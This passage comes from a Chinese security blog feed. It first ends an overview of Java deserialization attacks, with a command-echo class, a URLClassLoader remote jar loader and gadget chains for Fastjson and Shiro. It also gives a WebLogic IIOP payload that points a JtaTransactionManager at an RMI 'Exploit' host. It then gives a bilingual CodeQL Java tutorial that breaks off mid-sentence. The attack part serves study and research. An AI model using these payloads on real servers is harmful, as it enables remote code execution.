cmd})).start().getInputStream();</span><br><span class="line">        InputStreamReader streamReader = <span class="keyword">new</span> InputStreamReader(stream, Charset.forName(<span class="string">"gbk"</span>));</span><br><span class="line">        BufferedReader bufferedReader = <span class="keyword">new</span> BufferedReader(streamReader);</span><br><span class="line">        StringBuffer buffer = <span class="keyword">new</span> StringBuffer();</span><br><span class="line">        String line = <span class="keyword">null</span>;</span><br><span class="line">        <span class="keyword">while</span>((line = bufferedReader.readLine()) != <span class="keyword">null</span>) {</span><br><span class="line">            buffer.append(line).append(<span class="string">"\n"</span>);</span><br><span class="line">        }</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> Exception(buffer.toString());</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><hr><h2 id="URLClassLoader远程加载文件回显"><a href="#URLClassLoader远程加载文件回显" class="headerlink" title="URLClassLoader远程加载文件回显"></a>URLClassLoader远程加载文件回显</h2><p>    URLClassLoader是java.net下的类，继承了java.lang.Classloader类对象。URLClassLoader可以从远端或者本地加载jar/class文件。<br> 实现代码</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">demo</span> </span>{</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"></span><br><span class="line">        URL url = <span class="keyword">new</span> URL(<span class="string">"http://127.0.0.1:8090/summer.jar"</span>);</span><br><span class="line"><span class="comment">//        URL url = new URL("file:e:/summer.jar");</span></span><br><span class="line"></span><br><span class="line">        URLClassLoader ucl = <span class="keyword">new</span> URLClassLoader(<span class="keyword">new</span> URL[]{url});</span><br><span class="line">        Class cls = ucl.loadClass(<span class="string">"Summer"</span>);</span><br><span class="line">        Method m = cls.getMethod(<span class="string">"Exec"</span>,String<span class="class">.<span class="keyword">class</span>)</span>;</span><br><span class="line">        m.invoke(cls.newInstance(),<span class="string">"ipconfig"</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>具体实现步骤<a href="https://summersec.github.io/2020/06/01/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9B%9E%E6%98%BE%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88/">Java反序列化回显解决方案</a></p><hr><h1 id="Fastjson反序列化"><a href="#Fastjson反序列化" class="headerlink" title="Fastjson反序列化"></a>Fastjson反序列化</h1><p>   Fastjson在序列化的方法加入<code>SerializerFeature.WriteClassName</code>特征字段。序列化出来的结果会在开头加一个<code>@type</code>字段，值为进行序列化的类名。再将带有@type字段的序列化数据进行反序列化会得到对应的<code>实例类对象</code>。知道Fastjson这一特性，其他Fastjson反序列化细节部分就用下面两张图表示。<br>ps：这里这讨论最初的爆Fastjson反序列化漏洞</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Gadget chain:</span></span><br><span class="line"><span class="comment"> *      JSON.parse()</span></span><br><span class="line"><span class="comment"> *          DefaultJSONParser.parse()</span></span><br><span class="line"><span class="comment"> *              DefaultJSONParser.parseObject()</span></span><br><span class="line"><span class="comment"> *                  JavaBeanDeserializer.deserialze()</span></span><br><span class="line"><span class="comment"> *                      JavaBeanDeserializer.parseRest()</span></span><br><span class="line"><span class="comment"> *                          FieldDeserializer.setValue()</span></span><br><span class="line"><span class="comment"> *                              Reflect.invoke()</span></span><br><span class="line"><span class="comment"> *                                  JdbcRowSetImpl.setAutoCommit()</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> */</span></span><br></pre></td></tr></tbody></table></figure><p><img src="https://img-blog.csdnimg.cn/20200720185616310.png" alt=""></p><hr><h1 id="Shiro反序列化"><a href="#Shiro反序列化" class="headerlink" title="Shiro反序列化"></a>Shiro反序列化</h1><p>   <code>Shiro-550(Apache Shiro &lt; 1.2.5)</code>和<code>Shiro-721( Apache Shiro &lt; 1.4.2 )</code>。这两个漏洞主要区别在于Shiro550使用已知密钥撞，后者Shiro721是使用登录后<code>rememberMe={value}</code>去爆破正确的key值进而反序列化，对比Shiro550条件只要有<code>足够密钥库（条件比较低）</code>、Shiro721需要登录（要求比较高鸡肋）。</p><ul><li><code>Apache Shiro &lt; 1.4.2</code>默认使用<code>AES/CBC/PKCS5Padding</code>模式</li><li><code>Apache Shiro &gt;= 1.4.2</code>默认使用<code>AES/GCM/PKCS5Padding</code>模式<br>   简单来说流程就是将生成恶意Payload进行AES加密，然后Base64编码，然后以<code>rememberMe={value}</code>形式发送给服务器。服务器将valueBase64解码，然后将解码后数据进行AES解密，最后反序列化执行命令。<figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">*                  Gadget chian:</span><br><span class="line">*                      DefaultSecurityManager.resolvePrincipals()</span><br><span class="line">*                          DefaultSecurityManager.getRememberedIdentity()</span><br><span class="line">*                              AbstractRememberMeManager.getRememberedPrincipals()</span><br><span class="line">*                                  CookieRememberMeManager#getRememberedSerializedIdentity()</span><br><span class="line">*                                      AbstractRememberMeManager#getRememberedPrincipals()</span><br><span class="line">*                                          AbstractRememberMeManager.convertBytesToPrincipals()</span><br><span class="line">*                                              AbstractRememberMeManager.decrypt()</span><br><span class="line">*                                                  AbstractRememberMeManager.deserialize()</span><br><span class="line">*                                                      .....................</span><br><span class="line">*                                                               ..........</span><br><span class="line">*  </span><br><span class="line">*</span><br></pre></td></tr></tbody></table></figure></li></ul><hr><h1 id="Weblogic-IIOP2551–反序列化"><a href="#Weblogic-IIOP2551–反序列化" class="headerlink" title="Weblogic IIOP2551–反序列化"></a>Weblogic IIOP2551–反序列化</h1><p>   这个漏洞是Weblogic第一个IIOP协议反序列化漏洞，影响范围比较广。</p><ol><li>payload使用<code>com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager</code>，这是Spring framework 反序列化的漏洞其中之一。</li><li>参数可控触发反序列化漏洞</li><li>2551是第一个IIOP协议的反序列化漏洞，影响很大、范围很广。</li><li>GIOP 标志 <code>47 49 4f 50</code><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// payload</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line">        String ip = <span class="string">"127.0.0.1"</span>;</span><br><span class="line">        String port = <span class="string">"7001"</span>;</span><br><span class="line">        Hashtable&lt;String, String&gt; env = <span class="keyword">new</span> Hashtable&lt;String, String&gt;();</span><br><span class="line">        env.put(<span class="string">"java.naming.factory.initial"</span>, <span class="string">"weblogic.jndi.WLInitialContextFactory"</span>);</span><br><span class="line">        env.put(<span class="string">"java.naming.provider.url"</span>, String.format(<span class="string">"iiop://%s:%s"</span>, ip, port));</span><br><span class="line">        Context context = <span class="keyword">new</span> InitialContext(env);</span><br><span class="line">    </span><br><span class="line">        JtaTransactionManager jtaTransactionManager = <span class="keyword">new</span> JtaTransactionManager();</span><br><span class="line">        jtaTransactionManager.setUserTransactionName(<span class="string">"rmi://127.0.0.1:1099/Exploit"</span>);</span><br><span class="line">        Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(<span class="string">"pwned"</span>, jtaTransactionManager), Remote<span class="class">.<span class="keyword">class</span>)</span>;</span><br><span class="line">        context.bind(<span class="string">"hello"</span>, remote);</span><br><span class="line">    }</span><br></pre></td></tr></tbody></table></figure></li></ol><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> *      Context.rebind()</span></span><br><span class="line"><span class="comment"> *          InitialContext.rebind()</span></span><br><span class="line"><span class="comment"> *              ContextImpl.rebind()</span></span><br><span class="line"><span class="comment"> *                  _NamingContextAnyStub.rebind_any()</span></span><br><span class="line"><span class="comment"> *                      ............</span></span><br><span class="line"><span class="comment"> *                          IIOPInputStream.read_value()</span></span><br><span class="line"><span class="comment"> *                              ValueHandlerImpl.readValue()</span></span><br><span class="line"><span class="comment"> *                                  ValueHandlerImpl.readValueData()</span></span><br><span class="line"><span class="comment"> *                                      JtaTransactionManager.readObject()</span></span><br><span class="line"><span class="comment"> *                                          JtaTransactionManager.initUserTransactionAndTransactionManager()</span></span><br><span class="line"><span class="comment"> *                                              JtaTransactionManager.lookupUserTransaction()</span></span><br><span class="line"><span class="comment"> *                                                  JndiTemplate.lookup()</span></span><br><span class="line"><span class="comment"> */</span></span><br></pre></td></tr></tbody></table></figure><hr>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;p&gt;   这篇文章是一遍概述，浓缩性的文章，大致内容是将我研究的内容，回归总结。将分析文章总一个压缩在压缩性质的总结。尽可能保证用最简单话写最多
      
    
    </summary>
    
    
      <category term="代码审计" scheme="https://summersec.github.io/categories/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
    
      <category term="反序列化 Java shiro" scheme="https://summersec.github.io/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-Java-shiro/"/>
    
  </entry>
  
  <entry>
    <title>CodeQL library for Java</title>
    <link href="https://summersec.github.io/2021/04/03/CodeQL%20library%20for%20Java/"/>
    <id>https://summersec.github.io/2021/04/03/CodeQL%20library%20for%20Java/</id>
    <published>2021-04-03T11:01:42.000Z</published>
    <updated>2021-04-03T06:18:55.757Z</updated>
    
    <content type="html"><![CDATA[<h1 id="CodeQL-library-for-Java¶"><a href="#CodeQL-library-for-Java¶" class="headerlink" title="CodeQL library for Java¶"></a>CodeQL library for Java<a href="https://codeql.github.com/docs/codeql-language-guides/codeql-library-for-java/#codeql-library-for-java" target="_blank" rel="noopener">¶</a></h1><p>When you’re analyzing a Java program, you can make use of the large collection of classes in the CodeQL library for Java.</p><blockquote><p>当你在分析一个Java程序时，你可以利用Java的CodeQL库中的大量类的集合。</p></blockquote><h2 id="About-the-CodeQL-library-for-Java"><a href="#About-the-CodeQL-library-for-Java" class="headerlink" title="About the CodeQL library for Java"></a>About the CodeQL library for Java</h2><p>There is an extensive library for analyzing CodeQL databases extracted from Java projects. The classes in this library present the data from a database in an object-oriented form and provide abstractions and predicates to help you with common analysis tasks.</p><blockquote><p>有一个广泛的库用于分析从Java项目中提取的CodeQL数据库。该库中的类以面向对象的形式呈现数据库中的数据，并提供抽象和谓词来帮助你完成常见的分析任务。</p></blockquote><p>The library is implemented as a set of QL modules, that is, files with the extension <code>.qll</code>. The module <code>java.qll</code> imports all the core Java library modules, so you can include the complete library by beginning your query with:</p><blockquote><p>该库以一组QL模块的形式实现，也就是扩展名为.qll的文件。java.qll模块导入了所有的核心Java库模块，所以你可以通过以以下方式开始查询来包含完整的库。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br></pre></td></tr></tbody></table></figure><p>The rest of this article briefly summarizes the most important classes and predicates provided by this library.</p><blockquote><p>本文其余部分简要总结了这个库提供的最重要的类和谓词。</p></blockquote><blockquote><p>Note</p><p>The example queries in this article illustrate the types of results returned by different library classes. The results themselves are not interesting but can be used as the basis for developing a more complex query. The other articles in this section of the help show how you can take a simple query and fine-tune it to find precisely the results you’re interested in.</p><p>本文的示例查询说明了不同库类返回的结果类型。这些结果本身并不有趣，但可以作为开发更复杂查询的基础。本节帮助中的其他文章展示了如何将一个简单的查询进行微调，以精确地找到你感兴趣的结果。</p></blockquote><h2 id="Summary-of-the-library-classes"><a href="#Summary-of-the-library-classes" class="headerlink" title="Summary of the library classes"></a>Summary of the library classes</h2><p>The most important classes in the standard Java library can be grouped into five main categories:</p><blockquote><p>标准Java库中最重要的类可以分为五大类。</p></blockquote><ol><li><p>Classes for representing program elements (such as classes and methods)</p><blockquote><p>代表程序元素的类（如类和方法）。</p></blockquote></li><li><p>Classes for representing AST nodes (such as statements and expressions)</p><blockquote><p>用于表示AST节点（如语句和表达式）的类。</p></blockquote></li><li><p>Classes for representing metadata (such as annotations and comments)</p><blockquote><p>用于表示元数据（如注释和评论）的类。</p></blockquote></li><li><p>Classes for computing metrics (such as cyclomatic complexity and coupling)</p><blockquote><p>计算度量的类（如循环复杂度和耦合度</p></blockquote></li><li><p>Classes for navigating the program’s call graph</p><blockquote><p>用于导航程序的调用图的类。</p></blockquote></li></ol><p>We will discuss each of these in turn, briefly describing the most important classes for each category.</p><blockquote><p>我们将依次讨论这些内容，简要介绍每一类最重要的类别。</p></blockquote><h2 id="Program-elements"><a href="#Program-elements" class="headerlink" title="Program elements"></a>Program elements</h2><p>These classes represent named program elements: packages (<code>Package</code>), compilation units (<code>CompilationUnit</code>), types (<code>Type</code>), methods (<code>Method</code>), constructors (<code>Constructor</code>), and variables (<code>Variable</code>).</p><blockquote><p>这些类表示命名的程序元素：包（Package）、编译单元（CompilationUnit）、类型（Type）、方法（Method）、构造器（Constructor）和变量（Variable）。</p></blockquote><p>Their common superclass is <code>Element</code>, which provides general member predicates for determining the name of a program element and checking whether two elements are nested inside each other.</p><blockquote><p>它们共同的超类是Element，它提供了一般的成员谓词，用于确定程序元素的名称和检查两个元素内部是否相互嵌套。</p></blockquote><p>It’s often convenient to refer to an element that might either be a method or a constructor; the class <code>Callable</code>, which is a common superclass of <code>Method</code> and <code>Constructor</code>, can be used for this purpose.</p><blockquote><p>通常，引用一个可能是方法或构造函数的元素是很方便的；类Callable是Method和Constructor的共同超类，可以用于这个目的。</p></blockquote><h3 id="Types"><a href="#Types" class="headerlink" title="Types"></a>Types</h3><p>Class <code>Type</code> has a number of subclasses for representing different kinds of types:</p><blockquote><p>类Type有许多子类，用于表示不同种类的类型:</p></blockquote><ul><li><p><code>PrimitiveType</code> represents a <a href="https://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html" target="_blank" rel="noopener">primitive type</a>, that is, one of <code>boolean</code>, <code>byte</code>, <code>char</code>, <code>double</code>, <code>float</code>, <code>int</code>, <code>long</code>, <code>short</code>; QL also classifies <code>void</code> and <code>&lt;nulltype&gt;</code> (the type of the <code>null</code> literal) as primitive types.</p><blockquote><p>PrimitiveType表示一个基元类型，即布尔、字节、char、double、float、int、long、short中的一种；QL还将void和<nulltype>（null文字的类型）归为基本类型。    </nulltype></p></blockquote></li><li><p><code>RefType</code> represents a reference (that is, non-primitive) type; it in turn has several subclasses:</p><blockquote><p> 代表一个引用（即非基本）类型；它又有几个子类：</p></blockquote><ul><li><code>Class</code> represents a Java class. Class代表一个Java类。</li></ul></li><li><p><code>Interface</code> represents a Java interface.  Interface代表一个Java接口。</p><ul><li><code>EnumType</code> represents a Java <code>enum</code> type.  EnumType代表一个Java枚举类型。</li></ul></li><li><p><code>Array</code> represents a Java array type. Array代表一个Java数组类型。</p></li></ul><p>For example, the following query finds all variables of type <code>int</code> in the program:</p><blockquote><p>例如，下面的查询可以找到程序中所有类型为int的变量:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Variable v, PrimitiveType pt</span><br><span class="line">where pt = v.getType() and</span><br><span class="line">    pt.hasName("int")</span><br><span class="line">select v</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/860076406167044435/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. You’re likely to get many results when you run this query because most projects contain many variables of type <code>int</code>.</p><blockquote><p> 在LGTM.com的查询控制台中可以看到。运行此查询时，很可能会得到许多结果，因为大多数项目都包含许多类型为int的变量。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/55u27er55ec/55u27er55ec.png" alt="image-20210319172755510"></p><p>Reference types are also categorized according to their declaration scope:</p><blockquote><p>引用类型也根据其声明范围进行分类:</p></blockquote><ul><li><p><code>TopLevelType</code> represents a reference type declared at the top-level of a compilation unit.</p><blockquote><p>TopLevelType表示在编译单元的顶层声明的引用类型。</p></blockquote></li><li><p><code>NestedType</code> is a type declared inside another type.</p><blockquote><p>NestedType是在另一个类型里面声明的类型。</p></blockquote></li></ul><p>For instance, this query finds all top-level types whose name is not the same as that of their compilation unit:</p><blockquote><p>例如，这个查询可以找到所有名称与其编译单元名称不同的顶层类型:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from TopLevelType tl</span><br><span class="line">where tl.getName() != tl.getCompilationUnit().getName()</span><br><span class="line">select tl</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/4340983612585284460/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. This pattern is seen in many projects. When we ran it on the LGTM.com demo projects, most of the projects had at least one instance of this problem in the source code. There were many more instances in the files referenced by the source code.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。这种模式在很多项目中都能看到。当我们在LGTM.com演示项目上运行时，大多数项目的源代码中至少有一个这种问题的实例。在源代码引用的文件中，还有很多实例。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/40u28er40ec/40u28er40ec.png" alt="image-20210319172840606"></p><p>Several more specialized classes are available as well:</p><blockquote><p>有几个更专业的类。</p></blockquote><ul><li><p><code>TopLevelClass</code> represents a class declared at the top-level of a compilation unit.</p><blockquote><p>TopLevelClass表示在编译单元的顶层声明的类。</p></blockquote></li><li><p><code>NestedClass</code>represents a class declared inside another type , such as:</p><blockquote><p>NestedClass代表一个在另一个类型里面声明的类，如:</p></blockquote><ul><li><p>A <code>LocalClass</code>, which is <a href="https://docs.oracle.com/javase/tutorial/java/javaOO/localclasses.html" target="_blank" rel="noopener">a class declared inside a method or constructor</a>.</p><blockquote><p>LocalClass是一个在方法或构造函数里面声明的类。</p></blockquote></li><li><p>An <code>AnonymousClass</code>, which is an <a href="https://docs.oracle.com/javase/tutorial/java/javaOO/anonymousclasses.html" target="_blank" rel="noopener">anonymous class</a>.</p><blockquote><p>AnonymousClass是一个匿名类。</p></blockquote></li></ul></li></ul><p>Finally, the library also has a number of singleton classes that wrap frequently used Java standard library classes: <code>TypeObject</code>, <code>TypeCloneable</code>, <code>TypeRuntime</code>, <code>TypeSerializable</code>, <code>TypeString</code>, <code>TypeSystem</code> and <code>TypeClass</code>. Each CodeQL class represents the standard Java class suggested by its name.</p><blockquote><p>最后，该库还有一些单子类，这些单子类包裹了常用的Java标准库类。TypeObject、TypeCloneable、TypeRuntime、TypeSerializable、TypeString、TypeSystem和TypeClass。每一个CodeQL类都代表了其名称所建议的标准Java类。</p></blockquote><p>As an example, we can write a query that finds all nested classes that directly extend <code>Object</code>:</p><blockquote><p>作为一个例子，我们可以写一个查询，找到所有直接扩展Object的嵌套类:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from NestedClass nc</span><br><span class="line">where nc.getASupertype() instanceof TypeObject</span><br><span class="line">select nc</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/8482509736206423238/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. You’re likely to get many results when you run this query because many projects include nested classes that extend <code>Object</code> directly.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。运行此查询时，可能会得到许多结果，因为许多项目都包含直接扩展 Object 的嵌套类。 </p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/24u32er24ec/24u32er24ec.png" alt="image-20210320173224433"></p><h3 id="Generics"><a href="#Generics" class="headerlink" title="Generics"></a>Generics</h3><p>There are also several subclasses of <code>Type</code> for dealing with generic types.</p><blockquote><p>Type还有几个子类用于处理通用类型。</p></blockquote><p>A <code>GenericType</code> is either a <code>GenericInterface</code> or a <code>GenericClass</code>. It represents a generic type declaration such as interface <code>java.util.Map</code> from the Java standard library:</p><blockquote><p>一个GenericType是一个GenericInterface或一个GenericClass。它代表一个通用类型声明，如Java标准库中的java.util.Map接口:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">package java.util.;</span><br><span class="line"></span><br><span class="line">public interface Map&lt;K, V&gt; {</span><br><span class="line">    int size();</span><br><span class="line"></span><br><span class="line">    // ...</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Type parameters, such as <code>K</code> and <code>V</code> in this example, are represented by class <code>TypeVariable</code>.</p><blockquote><p>类型参数，如本例中的K和V，由类TypeVariable表示。</p></blockquote><p>A parameterized instance of a generic type provides a concrete type to instantiate the type parameter with, as in <code>Map&lt;String, File&gt;</code>. Such a type is represented by a <code>ParameterizedType</code>, which is distinct from the <code>GenericType</code> representing the generic type it was instantiated from. To go from a <code>ParameterizedType</code> to its corresponding <code>GenericType</code>, you can use predicate <code>getSourceDeclaration</code>.</p><blockquote><p>一个通用类型的参数化实例提供了一个具体的类型来实例化类型参数，如Map&lt;String, File&gt;。这样的类型由ParameterizedType表示，它与代表它被实例化的通用类型的GenericType不同。要从一个ParameterizedType到它对应的GenericType，可以使用谓词getSourceDeclaration。</p></blockquote><p>For instance, we could use the following query to find all parameterized instances of <code>java.util.Map</code>:</p><blockquote><p>例如，我们可以使用下面的查询来查找 java.util.Map.的所有参数化实例:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from GenericInterface map, ParameterizedType pt</span><br><span class="line">where map.hasQualifiedName("java.util", "Map") and</span><br><span class="line">    pt.getSourceDeclaration() = map</span><br><span class="line">select pt</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/7863873821043873550/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. None of the LGTM.com demo projects contain parameterized instances of <code>java.util.Map</code> in their source code, but they all have results in reference files.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。LGTM.com 演示项目的源代码中都不包含 java.util.Map 的参数化实例，但它们在参考文件中都有结果。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/28u34er28ec/28u34er28ec.png" alt="image-20210320173428831"></p><p>In general, generic types may restrict which types a type parameter can be bound to. For instance, a type of maps from strings to numbers could be declared as follows:</p><blockquote><p>一般来说，通用类型可能会限制类型参数可以绑定到哪些类型。例如，从字符串到数字的映射类型可以声明如下:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">class StringToNumMap&lt;N extends Number&gt; implements Map&lt;String, N&gt; {</span><br><span class="line">    // ...</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>This means that a parameterized instance of <code>StringToNumberMap</code> can only instantiate type parameter <code>N</code> with type <code>Number</code> or one of its subtypes but not, for example, with <code>File</code>. We say that N is a bounded type parameter, with <code>Number</code> as its upper bound. In QL, a type variable can be queried for its type bound using predicate <code>getATypeBound</code>. The type bounds themselves are represented by class <code>TypeBound</code>, which has a member predicate <code>getType</code> to retrieve the type the variable is bounded by.</p><blockquote><p>这意味着StringToNumberMap的参数化实例只能用Number类型或它的一个子类型实例化类型参数N，而不能用例如File类型实例化类型参数N。我们说N是一个有界的类型参数，Number是它的上界。在QL中，可以使用谓词getATypeBound查询一个类型变量的类型边界。类型约束本身由类TypeBound表示，它有一个成员谓词getType来检索变量被约束的类型。</p></blockquote><p>As an example, the following query finds all type variables with type bound <code>Number</code>:</p><blockquote><p>作为一个例子，下面的查询可以找到所有类型绑定Number的类型变量:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from TypeVariable tv, TypeBound tb</span><br><span class="line">where tb = tv.getATypeBound() and</span><br><span class="line">    tb.getType().hasQualifiedName("java.lang", "Number")</span><br><span class="line">select tv</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/6740696080876162817/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. When we ran it on the LGTM.com demo projects, the <em>neo4j/neo4j</em>, <em>hibernate/hibernate-orm</em> and <em>apache/hadoop</em> projects all contained examples of this pattern.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。当我们在LGTM.com的演示项目上运行时，neo4j/neo4j、hibernate/hibernate-orm和apache/hadoop项目都包含了这种模式的例子。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/40u08er40ec/40u08er40ec.png" alt="image-20210403140840778"></p><p><img src="https://gitee.com/samny/images/raw/master/0u09er0ec/0u09er0ec.png" alt="image-20210403140900760"></p><p><img src="https://gitee.com/samny/images/raw/master/9u09er9ec/9u09er9ec.png" alt="image-20210403140909188"></p><p>For dealing with legacy code that is unaware of generics, every generic type has a “raw” version without any type parameters. In the CodeQL libraries, raw types are represented using class <code>RawType</code>, which has the expected subclasses <code>RawClass</code> and <code>RawInterface</code>. Again, there is a predicate <code>getSourceDeclaration</code> for obtaining the corresponding generic type. As an example, we can find variables of (raw) type <code>Map</code>:</p><blockquote><p>对于处理不了解泛型的遗留代码，每个泛型都有一个没有任何类型参数的 “原始 “版本。在CodeQL库中，原始类型用类RawType表示，它有预期的子类RawClass和RawInterface。同样，有一个谓词getSourceDeclaration用于获取相应的通用类型。作为一个例子，我们可以找到（原始）类型Map的变量:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Variable v, RawType rt</span><br><span class="line">where rt = v.getType() and</span><br><span class="line">    rt.getSourceDeclaration().hasQualifiedName("java.util", "Map")</span><br><span class="line">select v</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/4032913402499547882/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. Many projects have variables of raw type <code>Map</code>.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。许多项目都有原始类型Map的变量。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/42u07er42ec/42u07er42ec.png" alt="image-20210403140742484"></p><p><img src="https://gitee.com/samny/images/raw/master/59u07er59ec/59u07er59ec.png" alt="image-20210403140759377"></p><p><img src="https://gitee.com/samny/images/raw/master/17u08er17ec/17u08er17ec.png" alt="image-20210403140817058"></p><p>For example, in the following code snippet this query would find <code>m1</code>, but not <code>m2</code>:</p><blockquote><p>例如，在下面的代码片段中，这个查询将找到 m1，但找不到 m2:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Map m1 = new HashMap();</span><br><span class="line">Map&lt;String, String&gt; m2 = new HashMap&lt;String, String&gt;();</span><br></pre></td></tr></tbody></table></figure><p>Finally, variables can be declared to be of a <a 